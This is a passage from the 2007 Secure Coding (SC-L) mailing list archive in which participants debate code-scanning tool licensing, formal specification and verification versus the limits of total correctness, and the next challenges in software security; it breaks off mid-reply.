> Your quote "*imho* vendor has to follow developer licensing" is where I think it will harm the goals of secure coding at large. Consider the trend within the industry that tools for software development are essentially becoming free. No one pays for IDEs (rare exceptions) when things like Eclipse and Visual Studio have free versions.
>
> Enterprise folks however will pay lots of money for tools in the auditing space that help them to quantify risk. The ability to scan large multiple code bases is a different product/problem than scanning while writing code in an IDE. I am saying that more money could be had if folks focus on the first and not the later. Vendors who get it twisted by focusing on the number of developers are dillusional and should ask themselves why aren't but a select few of any enterprise pervasively deploying tools to developers.
>
> Give away the developer tools in the same way Microsoft does and you will accelerate your potential sales from the bottom up. Not all sales within places are driven top down...
>
> -----Original Message-----
> From: sc-l-bounces at securecoding.org
> [mailto:sc-l-bounces at securecoding.org]On Behalf Of Paolo Perego
> Sent: Friday, June 08, 2007 5:40 AM
> To: McGovern, James F (HTSC, IT)
> Cc: Secure Coding
> Subject: Re: [SC-L] Perspectives on Code Scanning
>
> Hi there, I found this thread very interesting.
> It's true that developers are the ones who remediate to code
> insecurity and executives care about how much effort has to be spent
> over closing branches. Indeed I think the two categories needs a tool
> approaching the same problem (tell if a code follows security best
> practices or not) showing results in 2 "different" languages.
>
> Developers need how to know how to fix their code. Executives need to
> know how much these fixes cost, who will attend them and in how many
> time fixes will be committed.
>
> *imho* vendor has to follow developer licensing... since developer do
> knows ho to write code but he has to be helped in writing it in a
> secure way.
>
> Safe coding is a concern for both developers than executives.
> My 2 euro cents
>
> Ciao ciao
> thesp0nge
> --
> Owasp Orizon leader
> orizon.sourceforge.net
> _______________________________________________
> Secure Coding mailing list (SC-L) SC-L at securecoding.org
> List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
> List charter available at - http://www.securecoding.org/list/charter.php
> SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
> as a free, non-commercial service to the software security community.
> _______________________________________________
>
>
> *************************************************************************
> This communication, including attachments, is
> for the exclusive use of addressee and may contain proprietary,
> confidential and/or privileged information.  If you are not the intended
> recipient, any use, copying, disclosure, dissemination or distribution is
> strictly prohibited.  If you are not the intended recipient, please notify
> the sender immediately by return e-mail, delete this communication and
> destroy all copies.
> *************************************************************************
>
>
> _______________________________________________
> Secure Coding mailing list (SC-L) SC-L at securecoding.org
> List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
> List charter available at - http://www.securecoding.org/list/charter.php
> SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
> as a free, non-commercial service to the software security community.
> _______________________________________________
>


-- 
Owasp Orizon leader
orizon.sourceforge.net

From seba at deleersnyder.eu  Sun Jun 10 15:20:47 2007
From: seba at deleersnyder.eu (Sebastien Deleersnyder)
Date: Sun, 10 Jun 2007 21:20:47 +0200
Subject: [SC-L] challenge: 4 hour
	What_Developers_Should_Know_on_Web_Application_Security
Message-ID: <20070610192042.26990D4066@hoboe1bl1.telenet-ops.be>

Hi,

I am working out a proposal on this OWASP Education track:
http://www.owasp.org/index.php/Education_Track:_What_Developers_Should_Know_
on_Web_Application_Security

Assume this company that is convinced that they need to do something on web
application security. They decide to send their developers on a 4h course on
web application security. 

Limitation: the course can not be tuned to the company risk profile or
development environment. I know this should be done, but amuse me on this
one.

What would you add as minimal topics to cover?

Thx,

Seba


From mouse at Rodents.Montreal.QC.CA  Sun Jun 10 23:56:02 2007
From: mouse at Rodents.Montreal.QC.CA (der Mouse)
Date: Sun, 10 Jun 2007 23:56:02 -0400 (EDT)
Subject: [SC-L] Harvard vs. von Neumann
In-Reply-To: <466C3555.10208@thievco.com>
References: <110e01c7aad7$e5bbd010$6501a8c0@escheradmin>	<p05200f00c2918c78220d@[192.168.1.254]>
	<466BF9BA.5000906@cert.org> <p05200f01c291ac63a1e2@[192.168.1.254]>
	<466C3555.10208@thievco.com>
Message-ID: <200706110358.XAA03304@Sparkle.Rodents.Montreal.QC.CA>

> Like it or not, the Web doesn't work right without Javascript now.

Depends on what you mean by "the Web" and "work right".  Fortunately,
for at least some people's values of those, this is not true.

/~\ The ASCII				der Mouse
\ / Ribbon Campaign
 X  Against HTML	       mouse at rodents.montreal.qc.ca
/ \ Email!	     7D C8 61 52 5D E7 2D 39  4E F1 31 3E E8 B3 27 4B

From crispin at novell.com  Mon Jun 11 02:32:54 2007
From: crispin at novell.com (Crispin Cowan)
Date: Sun, 10 Jun 2007 23:32:54 -0700
Subject: [SC-L] Harvard vs. von Neumann
In-Reply-To: <466C3555.10208@thievco.com>
References: <110e01c7aad7$e5bbd010$6501a8c0@escheradmin>	<p05200f00c2918c78220d@[192.168.1.254]>	<466BF9BA.5000906@cert.org>
	<p05200f01c291ac63a1e2@[192.168.1.254]>
	<466C3555.10208@thievco.com>
Message-ID: <466CEC96.5050500@novell.com>

IMHO, all this hand wringing is for naught. To get systems that never
fail requires total correctness. Turing tells us that total correctness
is not decidable, so you simply never will get it completely, you will
only get approximations at best.

Having humans write specifications and leaving programming to computers
is similarly a lost cause. At a sufficiently high level, that is asking
the computer to map NP to P, and that isn't going to happen. At a less
abstract level, you are just asking the human to code in a higher level
language. This will help, but will not eliminate the problem that you
just cannot have total correctness.

Programmable Turing machines are great, they do wonderful things, but
total correctness for software simply isn't feasible. People need to
understand that programs are vastly more complex than any other class of
man made artifact ever, , and there fore can never achieve the
reliability of, say, steam engines.

The complexity of software is beginning to approach living organisms.
People at least understand that living things are not totally
predictable or reliable, and s**t will happen, and so you cannot count
on a critter or a plant to do exactly what you want. When computer
complexity clearly exceeds organism complexity, perhaps people will come
to recognize software for what it is; beyond definitive analyzability.

We can never solve this problem. At best we can make it better.

Crispin

-- 
Crispin Cowan, Ph.D.               http://crispincowan.com/~crispin/
Director of Software Engineering   http://novell.com
	AppArmor Chat: irc.oftc.net/#apparmor


From Jason.Bennett at thales-esecurity.com  Mon Jun 11 07:27:24 2007
From: Jason.Bennett at thales-esecurity.com (Bennett, Jason)
Date: Mon, 11 Jun 2007 12:27:24 +0100
Subject: [SC-L] What's the next tech problem to be solved in software
Message-ID: <CF3B16C299E5344E9D852923BEBEE0B2CD2994@ukbtn05.btn.thales-esecurity.com>



Lots of interesting points been raised in thread so here a few points I've
picked out:

- It's the developer's fault: A few comments were made that the lack of
security lies at the door of the developers because they implement insecure
code. True to an extent but I don't think you can blame developers unless
they been educated in the first place. The situation here seems to be slowly
improving but is far from ideal. What I would like to see is more general
education and also more integration of technologies into the standard
low-level development environment that helps educate a developer into what
they are doing wrong. So explaining why it's wrong and secondly automating
the stopping of them doing it wrong. 
 
- The low-level problems have already been solved: I always find this
difficult as has been rightly pointed out the problem has been solved from a
technical point of view for some time now. Putting a 'finger in the air' you
might suppose that 95% of low-level problems (i.e. not inherent in the
design) would just disappear. Why doesn't this happen - difficult answer but
the inertia built up by certain languages and the developers is not
something that is going to change over night and vendors are going to start
producing the right 'tools' unless there is a demand for them from
developers. To borrow a phrase from someone else you don't get fired for
choosing C/C++ as your implementation language.   

- How to specify security: This I think is the biggest challenge facing
security at present. As has already been stated the low-level problems have
been solved but at the higher levels (requirements, design etc.) the
security arena makes the software development arena look advanced. We hardly
have the techniques of defining the security policy of a system and just as
importantly how are these integrated into the software development
life-cycle as part of it and not considered just an add on?

I don't have the answer to what the challenge is let alone how you achieve
it but how you express 'security' within a software design and how you make
this and integral part of the software design and implementation seem
fundamental in the stages to make software 'secure'. Some of the attempts I
have seen although interesting always seem to have the flaw in that they are
viewed as almost a separate process to the software development. There are
many technologies that a software developer takes as second nature as part
of their toolbox but security doesn't seem to be one that features highly.


Consider the environment before printing this mail.
"Thales e-Security Limited is incorporated in England and Wales with company
registration number 2518805. Its registered office is located at 2 Dashwood
Lang Road, The Bourne Business Park, Addlestone, Nr. Weybridge, Surrey KT15
2NX.
The information contained in this e-mail is confidential. It may also be
privileged. It is only intended for the stated addressee(s) and access to it
by any other person is unauthorised. If you are not an addressee or the
intended addressee, you must not disclose, copy, circulate or in any other
way use or rely on the information contained in this e-mail. Such
unauthorised use may be unlawful. If you have received this e-mail in error
please delete it (and all copies) from your system, please also inform us
immediately on +44 (0)1844 201800 or email postmaster at thales-esecurity.com.
Commercial matters detailed or referred to in this e-mail are subject to a
written contract signed for and on behalf of Thales e-Security Limited". 

From dcrocker at eschertech.com  Mon Jun 11 08:14:57 2007
From: dcrocker at eschertech.com (David Crocker)
Date: Mon, 11 Jun 2007 13:14:57 +0100
Subject: [SC-L] Harvard vs. von Neumann
In-Reply-To: <466CEC96.5050500@novell.com>
Message-ID: <12f301c7ac22$20a63ee0$6501a8c0@escheradmin>

Crispin Cowen wrote:

>>
IMHO, all this hand wringing is for naught. To get systems that never fail
requires total correctness. Turing tells us that total correctness is not
decidable, so you simply never will get it completely, you will only get
approximations at best.
<<

What Turing actually tells us is that it is possible to construct programs that
may be correct but whose correctness is not decidable. This is a far cry from
saying that it is not possible to build well-structured programs whose
correctness _is_ decidable.

>>
Having humans write specifications and leaving programming to computers is
similarly a lost cause. At a sufficiently high level, that is asking the
computer to map NP to P, and that isn't going to happen.
<<

I don't understand what you are getting at here. If you are saying that humans
can map NP to P, but that it is impossible in principle to have computers do the
same thing, then that sounds like a religious argument to me. If you are saying
that you can write a specification that is unsatisfiable (or whose
satisfiability is undecidable) and that therefore cannot be implemented as code,
then this applies equally to human programmers. Incidentally, I have heard of a
few cases in which programming teams have wasted effort trying to implement sets
of requirements which, when the requirements were formalised, turned out to be
contradictory.

>>
At a less abstract level, you are just asking the human to code in a higher
level language. This will help, but will not eliminate the problem that you just
cannot have total correctness.
<<

The higher the level in which the human "codes", the less mistakes there are to
be made, assuming equal familiarity with the language etc. And you are just
repeating the same fallacious proposition by saying "you cannot have total
correctness". Had you instead said "you can never be sure that you have
established that the requirements capture the users' needs", I would have had to
agree with you.

>>
Programmable Turing machines are great, they do wonderful things, but total
correctness for software simply isn't feasible. People need to understand that
programs are vastly more complex than any other class of man made artifact ever,
, and there fore can never achieve the reliability of, say, steam engines.
<<

Same old flawed proposition. And, in software, the behaviour of the components
we build programs out of (i.e. machine instructions) are much more well-defined
and reliable than the materials that steam engines are built out of.

>>
The complexity of software is beginning to approach living organisms. People at
least understand that living things are not totally predictable or reliable, and
s**t will happen, and so you cannot count on a critter or a plant to do exactly
what you want. When computer complexity clearly exceeds organism complexity,
perhaps people will come to recognize software for what it is; beyond definitive
analyzability.
<<

Sure, if you develop a complex software system without a good design process
that carefully refines requirements to specifications to design to code - and
propagates changes in requirements down the chain too - then it may be
impossible to meaningfully analyse that software. That is why my approach is to
formalise requirements, write specifications that are proven to satisfy them,
then refine the specification to code - automatically where possible, but with
manual assistance where e.g. a data structure or an algorithm needs to be made
more efficient.

>>
We can never solve this problem. At best we can make it better.
<<

We can never solve the problem of being certain that we have got the
requirements right. I think that one implication for security is that there may
be whole new classes of threats out there that nobody has thought of yet, and
which we therefore can't refer to in the requirements. But we _can_ solve the
problem of ensuring that software meets the stated requirements, as long as
these are well-defined.

David Crocker, Escher Technologies Ltd.
Consultancy, contracting and tools for dependable software development
www.eschertech.com





From gem at cigital.com  Mon Jun 11 09:00:51 2007
From: gem at cigital.com (Gary McGraw)
Date: Mon, 11 Jun 2007 09:00:51 -0400
Subject: [SC-L] Harvard vs. von Neumann
In-Reply-To: <466CEC96.5050500@novell.com>
Message-ID: <41945506397C0C4886A8C5BFF089B5CAA11CCC50@va-mailhub.cigital.com>

Hi all,

Though I don't quite understand computer science theory in the same way that Crispin does, I do think it is worth pointing out that there are two major kinds of security defects in software: bugs at the implementation level, and flaws at the design/spec level.  I think Crispin is driving at that point.

If we assumed perfection at the implementation level (through better languages, say), then we would end up solving roughly 50% of the software security problem.

Clearly we need to make some progress at the architecture/design level to attain reasonable levels of software security.  I don't hold out much hope for formal approaches to design (though I continue to watch the UK types with interest).  Our approach to analysis and design at the architecture level at Cigital is ad hoc and based on experience, but it works.  (For more on that, see "Software Security" Chapter 5 which I think you can get a free copy of if you poke around here [registration required] http://searchsoftwarequality.techtarget.com/qna/0,289202,sid92_gci1187360,00.html.)

Perfect languages won't solve the software security problem.

gem

company www.cigital.com
podcast www.cigital.com/silverbullet
blog www.cigital.com/justiceleague
book www.swsec.com


-----Original Message-----
From: sc-l-bounces at securecoding.org [mailto:sc-l-bounces at securecoding.org] On Behalf Of Crispin Cowan
Sent: Monday, June 11, 2007 2:33 AM
To: Blue Boar
Cc: SC-L at securecoding.org
Subject: Re: [SC-L] Harvard vs. von Neumann

IMHO, all this hand wringing is for naught. To get systems that never
fail requires total correctness. Turing tells us that total correctness
is not decidable, so you simply never will get it completely, you will
only get approximations at best.

Having humans write specifications and leaving programming to computers
is similarly a lost cause. At a sufficiently high level, that is asking
the computer to map NP to P, and that isn't going to happen. At a less
abstract level, you are just asking the human to code in a higher level
language. This will help, but will not eliminate the problem that you
just cannot have total correctness.

Programmable Turing machines are great, they do wonderful things, but
total correctness for software simply isn't feasible. People need to
understand that programs are vastly more complex than any other class of
man made artifact ever, , and there fore can never achieve the
reliability of, say, steam engines.

The complexity of software is beginning to approach living organisms.
People at least understand that living things are not totally
predictable or reliable, and s**t will happen, and so you cannot count
on a critter or a plant to do exactly what you want. When computer
complexity clearly exceeds organism complexity, perhaps people will come
to recognize software for what it is; beyond definitive analyzability.

We can never solve this problem. At best we can make it better.

Crispin

--
Crispin Cowan, Ph.D.               http://crispincowan.com/~crispin/
Director of Software Engineering   http://novell.com
        AppArmor Chat: irc.oftc.net/#apparmor

_______________________________________________
Secure Coding mailing list (SC-L) SC-L at securecoding.org
List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
List charter available at - http://www.securecoding.org/list/charter.php
SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
as a free, non-commercial service to the software security community.
_______________________________________________


From mouse at Rodents.Montreal.QC.CA  Mon Jun 11 10:03:49 2007
From: mouse at Rodents.Montreal.QC.CA (der Mouse)
Date: Mon, 11 Jun 2007 10:03:49 -0400 (EDT)
Subject: [SC-L] Harvard vs. von Neumann
In-Reply-To: <12f301c7ac22$20a63ee0$6501a8c0@escheradmin>
References: <12f301c7ac22$20a63ee0$6501a8c0@escheradmin>
Message-ID: <200706111419.KAA04655@Sparkle.Rodents.Montreal.QC.CA>

> What Turing actually tells us is that it is possible to construct
> programs that may be correct but whose correctness is not decidable.
> This is a far cry from saying that it is not possible to build
> well-structured programs whose correctness _is_ decidable.

True as far as it goes - but don't forget that you also haven't shown
the latter to be possible for programs of nontrivial size.

> The higher the level in which the human "codes", the [fewer] mistakes
> there are to be made, assuming equal familiarity with the language
> etc.

...but the more complex the "compiler", and the greater the likelihood
of bugs in it causing the resulting binary to fail to implement what
the human wrote.

> And you are just repeating the same fallacious proposition by saying
> "you cannot have total correctness".

It simply has not been formally established.  This does not make it
wrong, just unproven.  (Personally, I don't think it is wrong.)

> Had you instead said "you can never be sure that you have established
> that the requirements capture the users' needs", I would have had to
> agree with you.

That too.

There are three places where problems can appear: (1) the
specifications can express something other than what the users
want/need; (2) the coders can make mistakes translating those
specifications to code; (3) the translation from code to binary can
introduce bugs.  (No, step (2) cannot be eliminated; at most you can
push around who "the coders" are.  Writing specifications in a formal,
compilable language is just another form of programming.)

I don't think any of these steps can ever be rendered flawless, except
possibly when they are vacuous (as, for exmaple, step 3 is when coders
write in machine code).

>> People need to understand that programs are vastly more complex than
>> any other class of man made artifact ever, and there fore can never
>> achieve the reliability of, say, steam engines.
> Same old flawed proposition.

Same old *unproven* proposition.  Again, that doesn't make it wrong
(and, again, I don't think it *is* wrong).

>> We can never solve this problem. At best we can make it better.
> We can never solve the problem of being certain that we have got the
> requirements right.

We also can never solve the problem of being certain the conversion
from high-level language ("specifications", even) to executable code is
right, either.  Ultimately, everything comes down to "a lot of smart
people have looked at this and think it's right" - whether "this" is
code, a proof, prover software, whatever - and people make mistakes.

We're still finding bugs in C compilers.  Do you really think the
(vastly more complex) compilers for very-high-level specification
languages will be any better?

/~\ The ASCII				der Mouse
\ / Ribbon Campaign
 X  Against HTML	       mouse at rodents.montreal.qc.ca
/ \ Email!	     7D C8 61 52 5D E7 2D 39  4E F1 31 3E E8 B3 27 4B

From ljknews at mac.com  Mon Jun 11 10:46:19 2007
From: ljknews at mac.com (ljknews)
Date: Mon, 11 Jun 2007 10:46:19 -0400
Subject: [SC-L] Harvard vs. von Neumann
In-Reply-To: <41945506397C0C4886A8C5BFF089B5CAA11CCC50@va-mailhub.cigital.com>
References: <41945506397C0C4886A8C5BFF089B5CAA11CCC50@va-mailhub.cigital.com>
Message-ID: <p05200f09c2930fbd1f19@[192.168.1.254]>

At 9:00 AM -0400 6/11/07, Gary McGraw wrote:

> If we assumed perfection at the implementation level (through better
> languages, say), then we would end up solving roughly 50% of the
> software security problem.
> 
> Clearly we need to make some progress at the architecture/design level
> to attain reasonable levels of software security.

> Perfect languages won't solve the software security problem.

And neither will perfect designs.

Both approaches needed.

But a large percentage of failures that result from weak languages are
already categorized in standard terms like "buffer overflow".
-- 
Larry Kilgallen

From James.McGovern at thehartford.com  Mon Jun 11 10:50:38 2007
From: James.McGovern at thehartford.com (McGovern, James F (HTSC, IT))
Date: Mon, 11 Jun 2007 10:50:38 -0400
Subject: [SC-L] What's the next tech problem to be solved in
 softwaresecurity?
References: <110e01c7aad7$e5bbd010$6501a8c0@escheradmin> 
	<p05200f00c2918c78220d@[192.168.1.254]> 
	<B37169F6-8E1D-4702-B29B-230A4686BAA2@krvw.com>
Message-ID: <773F863A6009244B87E6E866AFC7DB460381BC90@AD1HFDEXC309.ad1.prod>

The next problem to be solved is moving higher up the food chain by teaching architects secure architecture principles. Would love to see Gary McGraw tackle this subject in his next book...

________________________________

From: sc-l-bounces at securecoding.org on behalf of Kenneth Van Wyk
Sent: Sun 6/10/2007 9:37 AM
To: Secure Coding
Subject: Re: [SC-L] What's the next tech problem to be solved in softwaresecurity?



First off, many thanks to all who've contributed to this thread.  The 
responses and range of opinions I find fascinating, and I hope that 
others have found value in it as well.  Great stuff, keep it coming.

That said, I see us going towards that favorite of rat-holes here, 
namely the "my programming language is better than yours, nyeah!" 
path.  Let's please avoid that.  I'm confident that we've seen it 
enough times to know that it ends with no clear winners (but plenty 
of losers).

Cheers,

Ken
-----
Kenneth R. van Wyk
SC-L Moderator
KRvW Associates, LLC
http://www.KRvW.com








*************************************************************************
This communication, including attachments, is
for the exclusive use of addressee and may contain proprietary,
confidential and/or privileged information.  If you are not the intended
recipient, any use, copying, disclosure, dissemination or distribution is
strictly prohibited.  If you are not the intended recipient, please notify
the sender immediately by return e-mail, delete this communication and
destroy all copies.
*************************************************************************

-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070611/6c67f7f1/attachment.html 

From gem at cigital.com  Mon Jun 11 11:32:45 2007
From: gem at cigital.com (Gary McGraw)
Date: Mon, 11 Jun 2007 11:32:45 -0400
Subject: [SC-L] What's the next tech problem to be solved in
 softwaresecurity?
In-Reply-To: <773F863A6009244B87E6E866AFC7DB460381BC90@AD1HFDEXC309.ad1.prod>
Message-ID: <41945506397C0C4886A8C5BFF089B5CAA11CCCD8@va-mailhub.cigital.com>

There is one on the drawing boards about this, but don't hold your breath!  I am working on it with Fabio Arciniegas.

Exploiting Online Games is first, and that comes out in July.

gem

company www.cigital.com<http://www.cigital.com>
podcast www.cigital.com/silverbullet<http://www.cigital.com/silverbullet>
blog www.cigital.com/justiceleague<http://www.cigital.com/justiceleague>
book www.swsec.com<http://www.swsec.com>


________________________________
From: sc-l-bounces at securecoding.org [mailto:sc-l-bounces at securecoding.org] On Behalf Of McGovern, James F (HTSC, IT)
Sent: Monday, June 11, 2007 10:51 AM
Cc: sc-l at securecoding.org
Subject: Re: [SC-L] What's the next tech problem to be solved in softwaresecurity?

The next problem to be solved is moving higher up the food chain by teaching architects secure architecture principles. Would love to see Gary McGraw tackle this subject in his next book...

________________________________
From: sc-l-bounces at securecoding.org on behalf of Kenneth Van Wyk
Sent: Sun 6/10/2007 9:37 AM
To: Secure Coding
Subject: Re: [SC-L] What's the next tech problem to be solved in softwaresecurity?


First off, many thanks to all who've contributed to this thread.  The
responses and range of opinions I find fascinating, and I hope that
others have found value in it as well.  Great stuff, keep it coming.

That said, I see us going towards that favorite of rat-holes here,
namely the "my programming language is better than yours, nyeah!"
path.  Let's please avoid that.  I'm confident that we've seen it
enough times to know that it ends with no clear winners (but plenty
of losers).

Cheers,

Ken
-----
Kenneth R. van Wyk
SC-L Moderator
KRvW Associates, LLC
http://www.KRvW.com






*************************************************************************
This communication, including attachments, is
for the exclusive use of addressee and may contain proprietary,
confidential and/or privileged information. If you are not the intended
recipient, any use, copying, disclosure, dissemination or distribution is
strictly prohibited. If you are not the intended recipient, please notify
the sender immediately by return e-mail, delete this communication and
destroy all copies.
*************************************************************************
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070611/055e99e3/attachment-0001.html 

From dcrocker at eschertech.com  Mon Jun 11 11:38:42 2007
From: dcrocker at eschertech.com (David Crocker)
Date: Mon, 11 Jun 2007 16:38:42 +0100
Subject: [SC-L] Harvard vs. von Neumann
In-Reply-To: <200706111419.KAA04655@Sparkle.Rodents.Montreal.QC.CA>
Message-ID: <132a01c7ac3e$97a37410$6501a8c0@escheradmin>

der Mouse wrote:

>>
> What Turing actually tells us is that it is possible to construct 
> programs that may be correct but whose correctness is not decidable. 
> This is a far cry from saying that it is not possible to build 
> well-structured programs whose correctness _is_ decidable.

True as far as it goes - but don't forget that you also haven't shown the latter
to be possible for programs of nontrivial size.
<<

Well, if you consider 86,000 lines of Ada a nontrivial size, this was shown back
in 1998 by the METEOR project. See "Meteor:
A Successful Application of B in a Large Project" by Patrick Behm, Paul Benoit,
Alain Faivre, and Jean-Marc Meynadier. The key to verifying large programs is to
structure them well, so that the verification can be done in a highly modular
fashion. The Design-by-Contract paradigm is an example of this.

>>
> The higher the level in which the human "codes", the [fewer] mistakes 
> there are to be made, assuming equal familiarity with the language 
> etc.

...but the more complex the "compiler", and the greater the likelihood of bugs
in it causing the resulting binary to fail to implement what the human wrote.
<<

This is potentially true, but is mitigated by a number of factors. First,
specification languages (and, for that matter, programming languages) do not
need to be as complicated as some existing programming languages (C++ springs to
mind). Second,
the semantics of the language you are starting from are formally defined (unlike
almost all programming languages), so the problem is much better defined than it
is for typical compilers. Third, what you call the "compiler" is in fact a
refiner (which refines specifications to algorithms) followed by a code
translator. The code translator is essentially a compiler for a fairly minimal
but well-defined programming language and is therefore well-known technology.
The difficult part is the refiner, but this can use mathematical rules to ensure
correctness - provided of course that the rules are correctly implemented. It
can also generate verification conditions to be passed to a prover in order to
ensure that the generated code really does meet the specification. If there is
any doubt as to the correctness of the theorem prover, the proofs can be passed
to an independent proof checker for verification.

In our own product, which does a limited amount of refinement of specifications
to code, the part that does the refinement was much easier to specify than the
code translator and we have found it highly reliable.

[snip]

>>
There are three places where problems can appear: (1) the specifications can
express something other than what the users want/need; (2) the coders can make
mistakes translating those specifications to code; (3) the translation from code
to binary can introduce bugs.  (No, step (2) cannot be eliminated; at most you
can push around who "the coders" are.  Writing specifications in a formal,
compilable language is just another form of programming.)
<<

Writing "executable specifications" can indeed be viewed as a form of high-level
programming, but it has a number of benefits:

- it is more concise, which leaves less room for some types of error;
- it relates much more directly to the requirements
- requirements can be added to the specification, then it can be proven that the
specification meets the requirements. For example, you might wish to express the
requirement "The HTML generated by this component will not include the text
"<script>" except in these specific instances ...". Then you can prove that the
specification satisfies that requirement, or identify reasons why it does not.

>>
I don't think any of these steps can ever be rendered flawless, except possibly
when they are vacuous (as, for exmaple, step 3 is when coders write in machine
code).
<<

I'm not claiming that we can prove with absolute certainly that the process is
flawless. What I am saying is that we can get to the situation in which steps
(2) and (3) can be done with a probability of error of less than one in 10^n for
some sufficiently large and growing n. This is not where we are now with manual
coding at step (2). Step (1) is harder to get right, but by formalising
requirements and verifying that the specification, design and ultimately
implementation satisfy them, we can make some progress.

[snip]

>>
We also can never solve the problem of being certain the conversion from
high-level language ("specifications", even) to executable code is right,
either.  Ultimately, everything comes down to "a lot of smart people have looked
at this and think it's right" - whether "this" is code, a proof, prover
software, whatever - and people make mistakes.
<<

I'm not looking for absolute certainty of correctness, just a very low
probability of error - which is not what any kind of manual coding process
delivers.

>>
We're still finding bugs in C compilers.  Do you really think the (vastly more
complex) compilers for very-high-level specification languages will be any
better?
<<

As I have tried to outline, the additional complexity of automatic refinement of
specifications to code can be mitigated, for example through the use of
automated verification. As for compiler reliability: it's now 8 years since I
had to workaround bugs in the C++ compilers that are the primary targets for our
code generator. That is not to say that there are none, just that the
probability that we will hit one is small enough that we don't have to worry
about it outside the critical software markets. People who use low-volume
specialist compilers for some embedded processors may have a different
experience; but the reality for many (most?) of us is that finding a bug in our
executable code that is caused by a faulty compiler is a rare event.

More than forty years ago, we started the move from assembly language
programming to a higher level of abstraction - "high level programming
languages". This raised productivity, and almost certainly reduced error rates.
I think the time has come for a shift to an even higher level of abstraction.

This posting has drifted a little more off-topic than I intended, however I do
think it has a direct bearing on security. In order to get secure software, we
need to:

1. Identify security as a requirement of the software right from the start; and
2. Use a development process that ensures that the finished software meets the
requirements.

David Crocker, Escher Technologies Ltd.
Consultancy, contracting and tools for dependable software development
www.eschertech.com





From BlueBoar at thievco.com  Mon Jun 11 13:09:59 2007
From: BlueBoar at thievco.com (Blue Boar)
Date: Mon, 11 Jun 2007 10:09:59 -0700
Subject: [SC-L] Harvard vs. von Neumann
In-Reply-To: <200706110358.XAA03304@Sparkle.Rodents.Montreal.QC.CA>
References: <110e01c7aad7$e5bbd010$6501a8c0@escheradmin>	<p05200f00c2918c78220d@[192.168.1.254]>	<466BF9BA.5000906@cert.org>
	<p05200f01c291ac63a1e2@[192.168.1.254]>	<466C3555.10208@thievco.com>
	<200706110358.XAA03304@Sparkle.Rodents.Montreal.QC.CA>
Message-ID: <466D81E7.5050407@thievco.com>

der Mouse wrote:
>> Like it or not, the Web doesn't work right without Javascript now.
> 
> Depends on what you mean by "the Web" and "work right".  Fortunately,
> for at least some people's values of those, this is not true.

Obviously, I'm oversimplifying. I claim that there are enough web sites
that require active content to function right (in other words, that's a
big part of the reason they are popular) and that there is a big enough
critical mass of users who want to use those that it's going to stay.

Or another way to put it: First browser that drops support for
Javascript commits market suicide.

(Actually, the ratio of people who want flashy website to those who care
about disabling Javascript is probably 10,000:1, but I digress.)

					Ryan

From crispin at novell.com  Mon Jun 11 17:49:49 2007
From: crispin at novell.com (Crispin Cowan)
Date: Mon, 11 Jun 2007 14:49:49 -0700
Subject: [SC-L] Harvard vs. von Neumann
In-Reply-To: <41945506397C0C4886A8C5BFF089B5CAA11CCC50@va-mailhub.cigital.com>
References: <41945506397C0C4886A8C5BFF089B5CAA11CCC50@va-mailhub.cigital.com>
Message-ID: <466DC37D.7060408@novell.com>

Gary McGraw wrote:
> Though I don't quite understand computer science theory in the same way that Crispin does, I do think it is worth pointing out that there are two major kinds of security defects in software: bugs at the implementation level, and flaws at the design/spec level.  I think Crispin is driving at that point.
>   
Kind of. I'm saying that "specification" and "implementation" are
relative to each other: at one level, a spec can say "put an iterative
loop here" and implementation of a bunch of x86 instructions. At another
level, specification says "initialize this array" and the implementation
says "for (i=0; i<ARRAY_SIZE;i++){...". At yet another level the
specification says "get a contractor to write an air traffic control
system" and the implementation is a contract :)

So when you advocate automating the implementation and focusing on
specification, you are just moving the game up. You *do* change
properties when you move the game up, some for the better, some for the
worse. Some examples:

    * If you move up to type safe languages, then the compiler can prove
      some nice safety properties about your program for you. It does
      not prove total correctness, does not prove halting, just some
      nice safety properties.
    * If you move further up to purely declarative languages (PROLOG,
      strict functional languages) you get a bunch more analyzability.
      But they are still Turing-complete (thanks to Church-Rosser) so
      you still can't have total correctness.
    * If you moved up to some specification form that was no longer
      Turing complete, e.g. something weaker like predicate logic, then
      you are asking the compiler to contrive algorithmic solutions to
      nominally NP-hard problems. Of course they mostly aren't NP-hard
      because humans can create algorithms to solve them, but now you
      want the computer to do it. Which begs the question of the
      correctness of a compiler so powerful it can solve general purpose
      algorithms.


> If we assumed perfection at the implementation level (through better languages, say), then we would end up solving roughly 50% of the software security problem.
>   
The 50% being rather squishy, but yes this is true. Its only vaguely
what I was talking about, really, but it is true.

Crispin

-- 
Crispin Cowan, Ph.D.               http://crispincowan.com/~crispin/
Director of Software Engineering   http://novell.com
	AppArmor Chat: irc.oftc.net/#apparmor


From mshines at purdue.edu  Tue Jun 12 09:16:41 2007
From: mshines at purdue.edu (Michael S Hines)
Date: Tue, 12 Jun 2007 09:16:41 -0400
Subject: [SC-L] The Specifications of the Thing
In-Reply-To: <466DC37D.7060408@novell.com>
References: <41945506397C0C4886A8C5BFF089B5CAA11CCC50@va-mailhub.cigital.com>
	<466DC37D.7060408@novell.com>
Message-ID: <00cd01c7acf3$eaaee7b0$4ea7d280@central.purdue.lcl>

So - aren't a lot of the Internet security issues errors or omissions in the
IETF standards - leaving things unspecified which get implemented in
different ways - some of which can be exploited due to implementation flaws
(due to specification flaws)?

Mike H.
-----------------------------
Michael S Hines
mshines at purdue.edu


-----Original Message-----
From: sc-l-bounces at securecoding.org [mailto:sc-l-bounces at securecoding.org]
On Behalf Of Crispin Cowan
Sent: Monday, June 11, 2007 5:50 PM
To: Gary McGraw
Cc: SC-L at securecoding.org; Blue Boar
Subject: Re: [SC-L] Harvard vs. von Neumann

Gary McGraw wrote:
> Though I don't quite understand computer science theory in the same way
that Crispin does, I do think it is worth pointing out that there are two
major kinds of security defects in software: bugs at the implementation
level, and flaws at the design/spec level.  I think Crispin is driving at
that point.
>
Kind of. I'm saying that "specification" and "implementation" are relative
to each other: at one level, a spec can say "put an iterative loop here" and
implementation of a bunch of x86 instructions. At another level,
